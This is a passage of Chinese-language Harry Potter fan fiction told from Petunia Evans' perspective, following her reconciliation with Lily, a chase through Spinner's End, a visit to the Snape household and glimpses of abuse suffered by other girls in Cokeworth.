有什么东西在佩妮的心中被悄然打破了,一股像刚煮开的水一样的感觉从心底翩然划过去,又烫又痛,使她想要流泪。
本·肖恩抬手抚摸了一下自己的额角,看见自己手上的殷红,表情从不可置信到怒不可遏只是一瞬间的事,但他身后的伙伴们还处在震惊中。
“我可要好好收拾一下你们。”本·肖恩愤怒地叫起来。
在他身后的人群还没有反应过来之前,佩妮立刻转身奔向了莉莉,左手牢牢抓住了莉莉,在刚刚跑到莉莉身边的斯内普震惊的眼神中,用右手牢牢抓住了他。
“跑。”她言简意赅地下达了命令。
经过本·肖恩和他朋友的单车的时候,佩妮用力一挥,把它们都挥倒在了地上,她在剧烈的心跳声中回头盯着本·肖恩,直视他愤怒的眼睛大声说:“欺负比你弱小的人,并不会使你获得应有的尊重。”
——他看起来更生气了。
佩妮回头,拉着莉莉和斯内普,跳进了炉灰巷。
“这边。”本来被佩妮拉着的斯内普挣脱了她的手,跑到前方,指了一条小路,带着她们拐了进去。
“你怎么在这里,莉莉。”佩妮拉着莉莉的手。
“佩妮对不起,我不是有意跟着你的。”莉莉一边奔跑,一边喘着气说,她红色的头发在空气中划出明亮的弧度,“我担心你,我只是想知道你去哪里了嘛。”
后方传来本·肖恩还有他的伙伴们愤怒的声音。
风声和心跳声混在一块了,佩妮感觉到莉莉一直牢牢握住她的手,即使是在快速的奔跑中,也没有松开。
“莉莉,你不应该用石头砸他,”斯内普的声音里透露着隐隐的不赞同:“这是在校外,我们没有办法用魔法。”
“他要伤害佩妮!”莉莉气愤地说,“他是一个混蛋。”
“但是佩妮,你冲上去骂他们的身影,可真帅。”莉莉畅快地笑起来。
斯内普带着他们在炉灰巷的小径里穿梭,高速地奔跑使佩妮的喉头发紧,但是本·肖恩的身影仍紧追不放。
斯内普苍白的脸上透露出几分焦躁出来,他踢翻了一车无人看管的木桶,让它们滚落在地上,试图阻拦身后的人群,接着拉着莉莉和佩妮再度拐进了一条小巷中。
眼前街道的景色逐渐陌生了起来,后怕的感觉才渐渐在佩妮心中浮了起来。
一条断路拦在了他们的面前。
也不是一条完全的断路,断路下接着另外一条横着经过的新路,只是这条断路离下面的路面有半个人那么高,路面上还有几堆高低不等的石砖。要是不注意直接跳了下去,就会把脚脖子扭断。
佩妮想起了伊索尔德。
斯内普犹豫了一下,选择了一个相
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对安全的角度先跳了下去。他冲莉莉伸出了手,把莉莉半拉半抱地带了下去。
轮到佩妮了,斯内普回过头,向佩妮伸出了手。
这回没隔着衣袖。
佩妮握住了他的手,他的手指细长,温度冰冷,不知是因为奔跑还是紧张,手心还带着一丝冰冷的滑腻感。
佩妮借着他的手,跳到了地面上,然后立刻松开了手。
两个人非常默契地同时在各自的衣服上狠狠擦了一下自己的手心。
“快跑。”莉莉上来握住了他们两人的手,“他们追上来了。”
斯内普在一个岔路口犹豫了一下,带着她们拐进了左边的那条路。
但是很快,一个堆满了废弃石料的死路堵住了他们的去路。斯内普的脸一下就变得苍白了起来,他对莉莉解释:“这一带之前在改建,有很多路都被封住了,我不知道……”
“快点,那我们换条路。”佩妮带着他们试图转头,但这时本·肖恩还有他的朋友们已经从后面围了上来。
莉莉把佩妮挡在身后,斯内普把莉莉挡在身后。
“很不巧,”本·肖恩的脸上带着畅快的恶意的笑容,使他的五官扭曲起来,“炉灰巷到蜘蛛尾巷这段路程,我比你们更熟悉。”
他身后的伙伴们人手一块扎着钢钉的木板。
本·肖恩那双怨毒的眼睛紧紧盯着佩妮:“现在道歉也来不及了,你怎么有胆量对我说那些话的呢?”
“还有你。”他盯着莉莉,额间暗红色的血迹,粘在他的脸上,使他的面容说不出的可怖,“我会让你为那颗石头付出代价的。”
本·肖恩嘴巴里吐出了一些恶毒的词汇,他身后的朋友配合地发出邪恶的笑声,那些恶毒的词汇像毒蛇一样钻进佩妮的脑海里,使她浑身都在发抖。
她从地上捡起了一块石砖,她绝对不允许这个混蛋如此侮辱她和莉莉。
但是更愤怒的是莉莉,莉莉大口大口地呼吸着。本·肖恩说的每一个词,都变成了点燃火焰的前奏。
所以只是在一瞬间,除了佩妮手上的那块砖,她身后所有的石砖都在飞到了天空中。
本·肖恩和他朋友脸上的笑容都消失了。
“离、我、的、姐、姐、远、一、点。”
莉莉一个字一个字地说,随着她的声音,那些飘在空气中的石砖像有生命一样,微微震颤起来,等到说完最后一个字,这些石砖就像离弦的箭一样,快速向对面的人群中冲了过去。
“怪物。”
“这里有怪物。”
石砖像雨一样落到了对面的人群中,将他们打得哀嚎不止。
“我不会轻易放过你们的。”本·肖恩留下这句话,带着他的朋友们匆匆离去。
这场闹剧终于结束了。
飞在天空的石砖一下子都掉到了地面上,莉莉跌坐在地上,斯内普匆忙蹲下去,握住了她的肩膀,有些焦急地看着她:“莉莉,你还好吗?我带你去……不,你在这里等我,我给你拿点魔药过来。”
莉莉无力地摆了摆自己的手:“不需要,我只是有一些累。”
佩妮低头看着莉莉:“你不是不能在校园外使用魔法吗?”
莉莉抬起头看着她,那双绿色的眼睛就像春天的湖水:“是不能使用魔杖,佩妮,我没有使用魔杖,刚刚我只是想保护你。”
佩妮松开手,石砖掉在了地上,咕噜滚了一下就不动了。
39.chapter38
“你们在做什么?”一个穿着高领黑色长袍的女人出现在了小巷的路口。
“妈妈。”斯内普慌张地站起来,看起来有一些手足无措。
那个穿着高龄黑色长袍的女人走了过来,佩妮看见她手上揣了一个菜篮子,里面是南瓜、卷心菜和土豆,她的脸上没有什么笑容。这是在国王十字车站斯内普身边的那个女人,佩妮认出来了。
斯内普夫人走过来,面无表情地低头看了一眼莉莉,然后对着佩妮说:“把她搀起来,去我家,她需要喝点东西。”
“妈妈,可以不要带她们去吗?我可以把药送过来。”斯内普的声音里带上了一丝罕见的央求。
但是斯内普太太没有搭理他,那双没有什么神采的眼睛从他脸上转开,率先一步走出了小巷。
佩妮只好赶紧把莉莉搀扶起来,斯内普看着他妈妈离去的背影,咬了咬牙,回头把莉莉扶起来,将大部分的重量压在了自己肩膀上。
一路上斯内普一句话也没有说,莉莉看起来没有什么力气,佩妮也没有说话的欲望,于是他们三个人一路沉默不言地跟着斯内普太太在拥挤的小路间穿行,最后停在了一栋低矮破旧的房屋面前。
房屋附近有一条河,但是看起来不是很肮脏,佩妮看见有一个工人模样的人,穿着环保组织的衣裳,拿着滤网在河里打捞着被人扔下去的啤酒瓶、易拉罐瓶子、还有香烟盒等等的人工垃圾。
沿路的道路虽然拥挤,但是地面上不再污水横流,或者堆着各种各样的垃圾。眼前街道尽头的这间房屋外观虽然低矮破旧,但是仔细看,还是能看出收拾过的痕迹。
佩妮在心里松了一口气。
她没有什么表情地跟着斯内普太太把莉莉搀扶进了房间,斯内普在她们身后,这明明是他自己的家,他却犹豫了很久,才跟着推门进去。
房屋里十分灰暗,佩妮差点一脚踢到了门口的鞋柜,但是斯内普在她们身后快速地打开了灯。灯光十分昏暗,不过还是可以勉强看清楚屋内的情形。
屋内的面积并不大,家具虽然破旧,但是收拾得很整洁,佩妮看见客厅摆放了一个很大的书架,上面也摆满了书籍。
只是屋内的通风并不是很好,厨房的味道混着一股酒味儿钻进佩妮的鼻孔里,但比起那群男孩身上机油混合着烟草的臭味,这股味道已经足够温柔了。
“坐在沙发上,哪儿也不要去,西弗勒斯,你去楼上把药拿下来。”斯内普太太吩咐到,随后拎着菜篮子跨进了厨房。
斯内普站在她们旁边,咬了咬自己的嘴唇,转身上了楼梯。
一个二手旧皮革沙发占据了客厅绝大部分的位置,酒味仿佛是从这儿传出来的,但莉莉看起来很累,她们没有其他的选择。要绕到沙发正面,得从那个很大的书架前经过,佩妮控制着自己的视线,小心地瞥了一眼书架。
一个看起来已经很有些年龄的书架了,上面摆放着密密麻麻的书籍,但每一本看起来都有些年头了。书架的侧边用金漆雕刻着一行非常微小的字迹,那行字太小了,不注意看的时候只是一行模糊的金色,佩妮盯着它,讶异地发现那行模糊的金色仿佛自动聚焦一般,向佩妮徐徐展开了它的内容。
——“给艾琳·普林斯的生日礼物。”
这绝不是普通金漆喷上去的字迹。
这是魔法。
这个普普通通的客厅里唯一一处魔法的痕迹。
她在不经意间好像窥见了什么隐秘的东西。
厨房里传来重物重重落进水池的声音,打断了她的窥伺。
佩妮不敢再东张西望了。
她扶着莉莉坐到了那个二手旧皮革沙发上,温软冰凉的感觉使劫后余生的佩妮差点落下眼泪,她得努力克制自己的坐姿,让自己不至于陷进沙发里去,旁边的莉莉看起来比她好不了多少。
莉莉坐在沙发上,扭了扭自己的身体,靠近佩妮,像没有骨头一样把她全身的重量都挂在了佩妮身上,她笑起来:“佩妮,我们真的好厉害。”
不,厉害的是你,佩妮在心里说。
但是就在这时,一丝古怪又熟悉的感觉伴随着疼痛,从佩妮的小腹涌起。
还有一股热流马上要不受控制地流出来了。
佩妮立刻白了脸。
她推开莉莉的手,在莉莉不解的目光中跳下沙发,非常冒昧地拉开了厨房的门。
灶台上生着火,正烧着水,斯内普夫人在厨房里面清洗着蔬菜,她抬起那双没有什么情绪,同斯内普一模一样的眼睛盯着她。
天气这么热,厨房还没有降温的设备,在家里为什么还要穿着一直扣到最上面那颗扣子的高领长袍呢?佩妮心中闪过一丝疑问,但她什么也没有说,她只是走上前去,握住了斯内普夫人的手,仰头看着她:“斯内普太太,我需要你的帮助。”
厨房的温度那么高,斯内普太太的手却十分冰凉,走近了,佩妮才看见一道乌青的痕迹在斯内普夫人的领口处若隐若现。
佩妮移开了自己的视线。
河流总是无处不在,她想。
“你等一下。”斯内普太太沉默了一下,然后甩了甩手,在旁边的布上擦干净自己的手,走出了厨房。
佩妮跟着她出去,斯内普端着一个小瓶子下来。莉莉从沙发上跳下来,牵住了佩妮的手。
佩妮看了看捏着瓶子站在一旁看不清神情的斯内普,又看了看莉莉苍白的脸色,她对莉莉说:“坐到沙发上去,把你朋友给你的药剂喝掉,然后我们就准备回家。”
莉莉看着佩妮的脸色,慢慢放开了佩妮的手,坐到了沙发上,接过了斯内普手上的药瓶,打开后一饮而尽。
瓶身里液体奇怪的颜色让佩妮忍不住皱起了她的眉。
斯内普夫人从房间里走了出来,她牵着佩妮的手来到一楼的盥洗室。
她拉了一下开关,灯泡闪烁了一下,才勉为其难地亮了起来。东西从
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她宽大的袖袍里滑到佩妮的手心,她轻声问佩妮:“你会用吧。”
佩妮点点头,但她拉住了斯内普夫人的手:“对不起,夫人,我不确定,我,我还有一点儿疼。”疼痛在慢慢地升级,她的声音开始发起了颤。
斯内普夫人看起来很瘦,但她很高,她抱着胳臂居高临下地看着她,挑起了自己的眉毛,罕见地露出了一个表情:“啊,疼痛,多么熟悉的老朋友。小姐,你要学会忍耐疼痛,这是所有女人与生俱来的必修课。”
“但它只是有一点,太疼了。”
听到这话,斯内普夫人不太耐烦地抿了抿自己的嘴唇,伸手拉开了盥洗室水龙头上的镜子,从里面掏出一个棕色的玻璃瓶,然后打开盖子倒出了一粒白色的药片。
她把药片放在自己的手上,递给了佩妮。
“那就把它吃下去。”
佩妮接过了那粒小小的白色药片,灯光下它泛出冰冷的光线。
“止痛药。”
斯内普太太从隔壁厨房里给她端来了一小杯水,声音带着一点说不清道不明的讥诮:“记住,以后要常备这种药,聪明的女士都会这么做。"
——"毕竟人生,疼痛难免。”
佩妮仰头吞下这颗药。
斯内普夫人临出去之前对佩妮露出了一抹古怪的笑容。
“祝你好运。”她说。
然后她把门带上了。
佩妮在盥洗室把自己收拾干净,对着镜子洗了一把脸。
盥洗室的隔音效果并不是很好,她听见客厅里莉莉和斯内普在说话。
“拜托,我是在和西弗勒斯做朋友,又不是在和西弗勒斯的房子做朋友。”这是莉莉的声音。
“莉莉,我们能不能永远……”斯内普的声音听起来很轻,很慢,带着自己都不能察觉的渴求,“不是,我是说我们能不能就像这样一直做朋友。”
“只要你能注意和你的那帮斯莱特林朋友的分寸。”
斯内普沉默了一下,然后他问:“莉莉,你刚刚是怎么做到的?我们根本没有魔杖。”他的声音里是说不尽的赞叹和好奇。
“我不知道,西弗。”莉莉的声音听起来也很吃惊,她有一些迷茫,“我是说,确实没有魔杖,但我太想保护佩妮了,西弗。我只是隐隐想起了一些小时候的那种感觉,你还记得吗?让花在手中开放,从秋千上飞出去,那个时候我们也没有魔杖,但是我们做到了。”
“反而在拥有魔杖之后,却无法再次不凭借魔杖,施展这些能力,”斯内普若有所思地说,随后他的声音里透露出了一种深深的渴望,“莉莉,你真是太厉害了,我……”
这时斯内普太太冷漠的声音传了出来:“你们该回去了。”
斯内普的声音突然染上了一丝恐慌的颤意:“莉莉,你们该走了。”
“佩妮!你还没有好吗?”莉莉冲着盥洗室大叫。
佩妮推门出去:“走吧。”
40.chapter39
佩妮再度拉开自己的房门,地上安静地躺着一个红粉相间的礼品盒,她抬起眼睛,莉莉的房门还是紧闭着,里面安安静静,不知道她到底在不在。
佩妮弯腰伸出手,手指在触碰到这个礼品盒前犹豫了一下,但她还是拾起了它,关上房门,坐回了自己的书桌前。
礼品盒很轻,佩妮晃了晃,听不出里面是什么,她把这个礼品盒放在了桌面上,抬手拆开了它。
里面放着那个被打碎的杯子。
——原本它应该待在垃圾桶里。
——但它现在已经被胶水一片一片地粘好了,在从窗台射进来的阳光下,反射出莹白的光芒。
光芒灼痛了佩妮的眼睛。
一股强烈的情绪席卷了佩妮,使她觉得自己眼睛和鼻子十分酸涩,喉咙发紧。
佩妮的第一反应是把这个杯子连同礼物盒一起扔进垃圾桶。
这算什么?佩妮愤怒地想,莉莉她怎么回事?
这个杯子已经碎了,碎了就是碎了,它失去了它的功能,再也无法装上热茶,杯身的一道道裂纹提醒她就算用胶水粘好它也绝不是原来的那个杯子了。
那天的情景一一浮现在佩妮的眼前,破碎的杯子,莉莉水绿色的眼睛,和她眼睛里自己狼狈的倒影。噢,还有后来莉莉扔出去的石头,和漫天飞舞的石砖。
而我又说了什么呢?
把杯子扔掉,它已经碎了。
但心底里另外一个声音萌生出来,它告诉佩妮——别扔,你看看,你的杯子还在这里,这是莉莉给你重新拼好的杯子。
可这不只是一个杯子的事情!
——那又是什么事呢?
佩妮颓然地坐在这个杯子前,心中五味杂陈,她完全说不出个中的具体滋味,复杂的情绪像气球一样越长越大,砰地一声爆破,留给她无限的酸麻与疼痛。
那些情绪碎片下,她一下就看见了自己的本心。
——啊,好一颗卑怯懦弱的心。
好似被另一把剑透胸穿过,使她胸口又烫又痛。
她问伊索尔德:“为什么爱使我感到痛苦?”
伊索尔德在收拾去巴黎的行李,这个问题使她温柔地笑了出来,她抬起眼看着佩妮:“因为爱本来就不是一件容易的事情。”
伊索尔德抬眼看了一下自己的书架,越过地下的行李,从上面抽出了一本书,翻开来,指着其中一句话读给佩妮:“要不是有人告诉我这是爱,我会以为这是一把赤裸的剑。”
那被利剑穿过胸膛的感觉,使佩妮呆愣在原地,完全说不出话来。
“博尔赫斯。”她冲佩妮眨了眨眼,“你早就已经尝过爱的滋味了,不是吗?”
“爱会照见你自身的不完美。”
“就像太阳会融化伊卡洛斯羽毛上的蜡,使其跌落到海底。”
“可是我只想证明自己值得被爱而已。”佩妮很小声地说。
“不不,佩妮,爱不需要被证明,爱不来自别人。”伊索尔德握住佩妮的手,带着她的手抚上了佩妮的心口:“爱来自这里,是你给出去的东西。”
“爱是勇者的游戏,佩妮。”她叹息到,“做一个勇士。”
伊索尔德的声音合着心跳声一并传到她的耳边。
泪水模糊了佩妮的视线。
杯子的裂痕好似一直裂到了佩妮的心底里,使她想要尖叫出来。
为什么不承认呢,一直以来你嫉妒的难道仅仅是她的魔法天赋吗?
——你早就知道,她比你更早懂得了爱和勇气的本质。
你憎恨的到底是她,还是那个同她相比,不够勇敢的自己呢?
佩妮把头靠在自己的手上,感受泪水一滴一滴顺着手臂流淌下去。
杯子已然失去了它的实用性功能,但佩妮把它放到了房间的书架上,一张照片在摆弄间从书架上飘了下来,佩妮捡起来。
这是佩妮7岁,莉莉6岁的时候,在中央公园爸爸妈妈给她们拍的合照。
照片里莉莉离镜头很近,她手里拿着一个超级大的棉花糖,侧面看着镜头,笑起来很开心,但是佩妮站在后面,脸色看起来很生气。
背后是扑扇翅膀的白天鹅。
佩妮想起来了,那天她们去湖边观赏天鹅,天鹅突然扑棱着翅膀飞了起来,吓掉了佩妮手里的棉花糖。
但是天鹅没有吓到莉莉,飞起来的天鹅反而使莉莉开心坏了,直到她回头看见佩妮的泪水,莉莉才知道她的棉花糖掉进了水里。莉莉要把自己的棉花糖分给佩妮,但佩妮嫌弃上面的口水,她没有要,她很不开心。
她真的丑死了,但莉莉笑得很开心,场面滑稽得很,被爸爸的相机捕捉了下来。
一直以来她一点也不喜欢这张照片。
照片的背后是莉莉写的一句话:
莉莉永远爱佩妮,永远。
——不对,加上她,你有来自三个人的三份爱。
佩妮把这张照片夹到了书本里,她吸了吸自己的鼻子。
她走下楼。
“佩妮。”莉莉叫住她。
佩妮回头,莉莉站在二楼,还穿着那件白色的波点无袖睡裙,但她看起来比之前长高了很多,左手食指缠着一圈蓝色小熊创可贴。红色的头发看起来乱糟糟的,阳光穿过走廊,照在她的头发上,让她看起来像要燃烧了起来。
太阳一直就在那里,直视它有时候刺痛她,灼痛她。
但是选择怎么凝视太阳,是佩妮自己的事情。
别输给她,佩妮对自己说。
区区爱而已。
“我要出门一趟。”佩妮眨了眨自己的眼睛,对莉莉说:“等我回来,我可以陪你看会儿书,或者看会儿电视,只要是你喜欢,都可以。我还可以会告诉你发生在我身上的事,我为什么会去炉灰巷。不过我还有一个朋友你可能见不到了,她马上要去巴黎了。”
佩妮觉得自己的嗓子有一些干:“莉莉,有时候我真的很嫉妒你,你知道吗?”
“你继承了妈妈的眼睛,妈妈的头发,你还是一个小女巫。”
“我知道我的脾气不是很好,我总是……”
但莉莉从二楼跑下来,小马驹把佩妮撞了个满怀,把她剩下的话全部撞回肚子里了。
噢,一把利剑一定同时穿透了她们两个人的胸膛。
“我爱你。”莉莉说。
佩妮推开杂货铺的门,薇拉转过头来,盯着她。
两个人都没有说话。
直至佩妮走近了,在柜台上放下几枚硬币,她指着薇拉身后的展示柜说:“我要那条棕色的发带。”
薇拉一动不动,光线洒在了她的脸上:“不是叫你再也别来了吗?”
佩妮看着薇拉的眼睛:“我想去哪里,就去哪里。腿长在我身上,我是自由的。我会一直来
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这里,直到你的杂货铺有一天关门为止。”
薇拉脸上的肌肉不自觉抽动了一下。
“薇拉,我要那条棕色的发带。”
薇拉的眼睛紧紧盯着佩妮,但佩妮不甘示弱地回望过去。
“我说,我要那条棕色的发带。”
半晌,薇拉说:“那条棕色的发带一点也不适合你,系在你的头上肯定丑死了。”
“那就替我选一条适合我的,”佩妮说,“这就是你擅长的,不是吗?”
薇拉看起来生气极了,她大口吸着气,胸口剧烈地起伏着,眼眶开始泛红,但她迅速移开了自己的视线,把佩妮手中的硬币接了过去,然后背过身去。
佩妮看见她的肩膀小幅度地抽动了几下,但她什么声音也没听见,她只看到薇拉再次深吸了一口气,抬起手,在悬挂的多条发带中,选择了一条墨绿色的,转身递给了佩妮。
她的表情看起来很平静,只是眼睛稍微有一些发红。
佩妮把发带系在了自己的头发上,她盯着薇拉的眼睛说:“我们下次见,薇拉。”
阳光照下来,发带系在佩妮的脑后,她看不见具体的情形,但她想起来那年伊索尔德的金发上飞舞的墨绿色蝴蝶结。
这一定很好看,佩妮想。
“我找普尔佳。”佩妮对打开门的中年男人说。
草药味和经文的声音从房子里面传出来,那个中年男人看起来十分疲倦:“噢好的。普尔佳!”他冲屋子里头高喊了一声,一阵悉索的动静从里头传来。
“噢我记得你,你是她的好朋友,佩妮·伊……伊……”男人看着佩妮。
“佩妮·伊万斯。”佩妮盯着男人,清晰地把自己的名字说出来。
普尔佳这时跑了出来,看见佩妮她有一些吃惊。
“普尔佳,和你的好朋友伊万斯小姐好好说说话吧,一会儿记得煮饭。”男人对普尔佳说,然后把房门虚掩上了。
“佩妮,我……你怎么来了?”普尔佳看着佩妮,她突然有一些慌张起来,“噢你的书,我想起来了,我才刚开始看呢,就看了几页,写得很不错呢,佩妮。”
“那不重要。”佩妮打断她,“我是来跟你说其他的事情的。”
佩妮直勾勾地盯着普尔佳:“你喜欢上学吗?”
“我不知道,”普尔佳低下头,她的声音细不可闻:“但是那是多么轻松的一段时间,让我感到放松。”
“那就继续读下去,普尔佳。”佩妮走上台阶,来到普尔佳面前,捧住她的脸,强迫她看着自己,“上学不需要交任何的费用,普尔佳,如果你喜欢,那就继续读下去。”
河流要把她们都吞噬掉,但是佩妮想,凭什么?
“渡过那条河去。”佩妮说。
普尔佳的眼睛里闪过困惑:“你说什么,佩妮?这里哪里有河?”
“没什么,”佩妮松开自己的手,“开学那天你要来,好吗?我会在学校等你。”
普尔佳低下头,哇地一声哭了出来。
佩妮等了好几天都没有看见本·肖恩,他会不会在哪里等着报复她呢?
但是那已经不重要了,如果本·肖恩出现了,她就会对本·肖恩说,那天的场景他统统都看见了,他说莉莉是怪物,那佩妮是怪物的姐姐,佩妮也是怪物,如果他不想继续招惹怪物的话。
别害怕,佩妮在心里对自己说。
41.chapter40
暑假过去后,佩妮感觉身边的一切都好像发生了一点变化,但是若仔细看过去,万事万物倒还是他们原本的那个样子。
低矮的平房,高耸的烟囱,规整的小道,空气中不时传来的烟尘味,时常的阴雨,不时常的太阳,科克沃斯还是老样子。
只是原先笼罩于这一切上的一点朦胧的雾气消失不见,使佩妮看得更清楚了一些。
墨绿色的发带在她身后飞扬。
阿加莎女士在校门口看着她:“你的发带,伊万斯小姐。”她的表情看起来一如既往的严肃。
“这是一条深色的发带,阿加莎女士。”佩妮停下来,正视阿加莎女士的眼睛,礼貌地说,“暑假过去了,我的头发有一些长了,我需要一条发带把它扎起来,它是深颜色的,并没有违反校规。”
几个女生安静又迅速地经过,好几道眼神落在了她们身上。
阿加莎女士看着佩妮,而佩妮只是低下了头看着地面,一个暑假过去,路面石砖缝隙里开始往外冒出细小的绿芽。
等了一会儿,阿加莎女士侧过了自己的身体:“你进去吧,伊万斯小姐。”
普尔佳坐在佩妮的后面,伸出手把玩她的头发。
“你妹妹怎么样?”佩妮问。
普尔佳坐直了她的身体:“我不同意让爸爸把她送走,我跟爸爸说好了,在他不在的时候,我会照看好妈妈和妹妹的。”
佩妮点了点头,她感觉自己的心情轻松了一点。
“我们把阁楼收拾出了一个小房间,里面什么危险的东西都没有,我去上学的时候,就把她关在里面,妈妈看不到她就不会发病。别人把她抱进去她会哭,但是如果是我,她就不会。”
佩妮觉得自己的喉咙又开始发起堵来。
上课的钟声响了起来,大家纷纷坐直了身体。
起码普尔佳还在课堂上不是吗?佩妮看着窗外的天空想。
最后一堂课结束,普尔佳对佩妮挥了挥手,急匆匆地挑上了自己的单车。
几个女生走了过来,她们就像树上的小鸟儿一样兴奋地叽叽喳喳,围住佩妮夸她的发带很好看,并询问她是在哪儿购买的。
佩妮有一些脸红:“在炉灰巷门口有一家新开的杂货铺,里面什么都有。”
但一听到炉灰巷,女孩们的脸色就变了。
“不不,炉灰巷早就改建了,”佩妮,“而且杂货铺在炉灰巷外面呢。”
女孩们互相对视了一眼,眼神里透出犹豫出来,其中一个胆子大的女孩,向佩妮询问了杂货铺具体的位置。
过了几天,佩妮发现一个高个子的女生头上系了那条棕色的发带,从她面前走过,她与佩妮对视了一眼,冲佩妮眨了眨眼。
又过了不久,有另外几个女生手上系上了几条深色的手巾,就像薇拉的那条苏格兰头巾,看起来跟她们的衣服搭配极了。
胸腔里好像有一只小鸟要扑棱翅膀飞出去了。
佩妮欢快地从校门口经过,阿加莎女士审视的目光一路追随着她。
跟她有什么关系呢?佩妮心想,发带只是发带,手巾也只是手巾,这些都只是事物本来的面貌罢了。
佩妮将那本《高端时尚》带去了灰与榆。
“诺拉,我觉得这本小说很好看,它不应该只有三星半。”佩妮对诺拉说。
“噢,这本书它确实很独特。”诺拉说。
“让我看看。”听见她们的对话,索菲从佩妮手中接过这本书翻阅起来,“一名闯荡纽约时尚界的女设计师,这本书看起来挺不错的,诺拉,请把这本书借给我看一下,我有很久没有看到过满意的小说了。”
佩妮看见索菲将那本书装进了她的挎包里,开心的感觉涌上了她的心头,她很期待索菲对这本书的评价。
但是几个阅读之夜过去,索菲手上换了好几本书,但一次也没有同佩妮聊过《高端时尚》。
佩妮感到一丝失落。
在另外一个阅读之夜,她将红茶端到索菲的面前,在升腾的热气中,她忍不住问索菲:“索菲,你觉得那本高端时尚怎么样?”
“哪一本?”索菲抬起头看着佩妮,脸上是一副茫然的表情,这个表情使佩妮的心情有一些糟糕。
“就是那本闯荡纽约时尚界的女设计师伊丽莎白小姐的故事。”佩妮复述着索菲那天借书时亲口说的话,试图唤起她并不遥远的记忆。
索菲沉思了好一会儿,然后露出了一副恍然大悟的表情:“那本书?那本书诺拉竟然评价三星半,它根本不值得这个评分,我觉得一点儿也不好看。”
“怎么会!”索菲的评价使佩妮要跳起来了,她喝了一口手里的红茶,但她忘记红茶里还没有加糖,她的嘴里一下又苦又涩。
“伊丽莎白小姐反抗了学术界古板的权威,并且成立了自己的公司。”佩妮试图替这本书证明。
“所以这是我勉强把它看完的原因,佩妮。”索菲耸了耸肩,“它最大的问题在于它不够浪漫。第一个男人卡洛先生虽然帮助了伊丽莎白小姐,但他并没有给伊丽莎白小姐足够的关注和足够的爱。最后和伊丽莎白在一起的是皮特先生,可是他300多页才出场,甚至在伊丽莎白小姐受到苏格暗算的时候,他也不在场,他没有做到他保护伊丽莎白小姐的诺言。”
“虽然事情结束之后,他们重新在
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一起了,但是你看看结尾部分。”谈到《高端时尚》让她不满意的部分,索菲的声音逐渐大了起来,仿佛受到了欺骗一般,她从旁边的书堆里翻找了一会儿,找出那本《高端时尚》,指着结尾的句子读给了佩妮听,“你看看,‘她不知道这段关系会持续多久。’伊丽莎白小姐始终没有听到皮特先生对她的承诺。”
诺拉进来了,她手上拿着一沓书,她听见了索菲的话,她说:“所以这就是我认为这本小说结局充满了太多悬念的原因。”
“虽然伊丽莎白小姐这个人物实在精彩,她成立了自己的公司。”一名女士端着切好的柠檬片和方糖块走了过来。“这就是我仍然决定给它打三星半的原因,伊丽莎白小姐具有十足的力量与勇气。”诺拉的声音在后面响起来。
“但这个结局不够圆满,不够幸福。来点糖吧,孩子们。”那名女士弯腰把碟子放在了佩妮和索菲面前的桌上,她看着她们的表情就像看自己的孩子。佩妮闻见了她身上的玫瑰花香,这名女士住在科克沃斯镇上的富人区里,她的丈夫很爱她,她还有两个活泼可爱,刚上小学的孩子,她有一个幸福美满的家庭。
佩妮对女士道了谢,伸手舀起几片柠檬和方糖块放进了自己的杯子里:“这个结局怎么不算幸福圆满呢?”
索菲谢绝了桌子上的方糖:“我需要保持……嗯,健康。”佩妮打量了一下索菲纤细的腰身——她已经足够美丽了,她有些后悔往自己杯子里添加的那些方糖块。
“因为伊丽莎白小姐吃了很多的苦,”诺拉说,“但是我认为在结局部分,作者对她不够仁慈,她与皮特分别太久了,她只享受到了短暂的重逢,和皮特对她的关怀与激情,然后小说就结束了。”
“作者甚至都没有好好描写一番卡洛先生对伊丽莎白的爱慕和关注。在前面卡洛先生可是让伊丽莎白小姐吃了好些苦头,虽然作者描写伊丽莎白小姐已经不在乎他的温存了。”索菲补充道。
佩妮看着眼前女人们的身影:“那什么样的结局才算是幸福和圆满的呢?”
“冬日烈火。”索菲说,“布伦南小姐获得了费特南先生无微不至的关爱,她获得了一个幸福的结局。”
在满室佛手柑及柑橘的飘香中,佩妮咽下了自己想说的话。
虽然布伦南小姐解下了她的佩剑,但她确实成功抵达岸边了,佩妮对自己说。
诺拉瞪大了她的眼睛:“索菲,你什么时候偷看了那本书!”
索菲捂住了自己的嘴巴,但她马上冲诺拉笑了起来:“诺拉,我马上就要成年了,我会有分寸的!”
她笑起来真美,佩妮心想,没有人能在这种笑容中拒绝索菲。
42.chapter41
佩妮与索菲擦身而过,索菲看起来形色匆匆,她闷头往前冲,撞到了佩妮的肩上,把她手上的书本全撞掉了。
“嘿,索菲。”佩妮蹲下去捡起她的书,“你怎么没去今天的阅读之夜?”
“佩妮,帮帮我。”索菲一把攒住她的手,力道大得让佩妮有一些吃痛。佩妮想抽回自己的手,但没有抽动,她抬眼看过去,索菲的状态使她心下一惊。
同前一段时间在阅读之夜的意气风发相比,此时的索菲看起来狼狈极了。栗红色的头发散了下来,只在耳边用一个金属发卡别住,看起来乱糟糟的。她的眼睛布满血丝,眼周的皮肤发红,像是狠狠地哭过一场,最重要的是她的左脸肿了起来,像有人给了她一巴掌。
佩妮倒抽了一口气。
“索菲,你的脸!”索菲立刻抬起另外一只手捂住了自己的脸,佩妮结结巴巴地说,“我、我要怎么才能帮你。”
“她把我的书抢走了,佩妮。”那双月牙一样美丽的眼睛里透出仇恨的光芒,“我在那里看书,她就突然出现,她从来就不允许我看这些书,不对,她从来就什么都不允许我。她抢走了我的书,她还给了我一巴掌。”
佩妮抬头看了一眼天边,夜幕低沉,只有零星的几颗星子挂在天空上。
“她是谁?”佩妮试探性地问到,“是阿加莎女士吗?”
索菲狠狠地吸了一下自己的鼻子,然后抬起袖子粗暴地擦了擦自己的眼睛,点了点自己的头。这时候佩妮才发现索菲穿了一件过于宽大的男士格子衬衫,扎在牛仔裤里,裤子上有一些尘土,看起来十分狼狈。
阿加莎女士的身影浮现在佩妮的脑海里,只要一想到她深色的衣袍,佩妮就十分紧张,阿加莎女士一直以来都是一位相当严肃的女士,但佩妮仍有些犹疑:“可是我从来没有见过阿加莎女士打人。”
听到这话,索菲露出了一丝古怪的表情,看起来既想笑,又想哭,美丽的五官扭曲在了一起,带着点歇斯底里看得佩妮心惊肉跳。
索菲对佩妮撩起了自己的衣袖。
看清她手臂上的情形时,佩妮惊呼了起来。
那是好几条纵横交错的鞭痕,虽然颜色已经变暗了。
